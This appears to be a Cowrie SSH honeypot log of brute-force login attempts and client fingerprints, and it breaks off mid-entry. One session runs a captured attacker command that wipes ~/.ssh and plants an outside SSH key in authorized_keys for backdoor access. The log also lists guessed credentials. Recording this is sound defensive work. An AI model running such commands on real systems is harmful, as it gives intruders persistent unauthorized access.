{"eventid":"cowrie.login.success","username":"root","password":"123@qwe","message":"login attempt [root/123@qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:25.686171Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:26.178457Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:26.181116Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:26.183855Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:26.410862Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:26.935523Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:26.937681Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:27.170891Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:27.174746Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":57222,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e5dad1267cb","protocol":"ssh","message":"New connection: 103.231.14.54:57222 (159.203.135.109:22) [session: 4e5dad1267cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:27.394208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:27.398443Z","src_ip":"103.231.14.54","session":"4e5dad1267cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:27.625018Z","src_ip":"103.231.14.54","session":"4e5dad1267cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:28.314926Z","src_ip":"103.231.14.54","session":"4e5dad1267cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:29.560831Z","src_ip":"103.231.14.54","session":"4e5dad1267cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":57228,"dst_ip":"159.203.135.109","dst_port":22,"session":"be509f30e84a","protocol":"ssh","message":"New connection: 103.231.14.54:57228 (159.203.135.109:22) [session: be509f30e84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:29.794365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:29.799749Z","src_ip":"103.231.14.54","session":"be509f30e84a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:30.031261Z","src_ip":"103.231.14.54","session":"be509f30e84a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:31.023044Z","src_ip":"103.231.14.54","session":"be509f30e84a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:31.252906Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:31.258595Z","src_ip":"103.231.14.54","session":"be509f30e84a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":56500,"dst_ip":"159.203.135.109","dst_port":22,"session":"b80ac5e792c7","protocol":"ssh","message":"New connection: 95.58.255.251:56500 (159.203.135.109:22) [session: b80ac5e792c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:31:36.276605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:31:36.280236Z","src_ip":"95.58.255.251","session":"b80ac5e792c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:31:36.452711Z","src_ip":"95.58.255.251","session":"b80ac5e792c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"Arthur123","message":"login attempt [arthur/Arthur123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:31:37.180913Z","src_ip":"95.58.255.251","session":"b80ac5e792c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:31:38.357010Z","src_ip":"95.58.255.251","session":"b80ac5e792c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53096,"dst_ip":"159.203.135.109","dst_port":22,"session":"ace035cf183b","protocol":"ssh","message":"New connection: 2.57.122.238:53096 (159.203.135.109:22) [session: ace035cf183b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:08.611590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:08.617049Z","src_ip":"2.57.122.238","session":"ace035cf183b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:08.716841Z","src_ip":"2.57.122.238","session":"ace035cf183b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:09.013594Z","src_ip":"2.57.122.238","session":"ace035cf183b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":49886,"dst_ip":"159.203.135.109","dst_port":22,"session":"1797be6f1cd5","protocol":"ssh","message":"New connection: 45.79.127.249:49886 (159.203.135.109:22) [session: 1797be6f1cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:09.243122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:09.250116Z","src_ip":"45.79.127.249","session":"1797be6f1cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:09.450099Z","src_ip":"45.79.127.249","session":"1797be6f1cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arianna","password":"arianna","message":"login attempt [arianna/arianna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:09.852528Z","src_ip":"45.79.127.249","session":"1797be6f1cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:10.114459Z","src_ip":"2.57.122.238","session":"ace035cf183b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:11.054378Z","src_ip":"45.79.127.249","session":"1797be6f1cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":33016,"dst_ip":"159.203.135.109","dst_port":22,"session":"69a89f4163e6","protocol":"ssh","message":"New connection: 103.231.14.54:33016 (159.203.135.109:22) [session: 69a89f4163e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:18.264186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:18.269042Z","src_ip":"103.231.14.54","session":"69a89f4163e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:18.522086Z","src_ip":"103.231.14.54","session":"69a89f4163e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":41224,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b42eaa7a471","protocol":"ssh","message":"New connection: 159.65.30.211:41224 (159.203.135.109:22) [session: 5b42eaa7a471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:19.058488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:32:19.063062Z","src_ip":"159.65.30.211","session":"5b42eaa7a471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2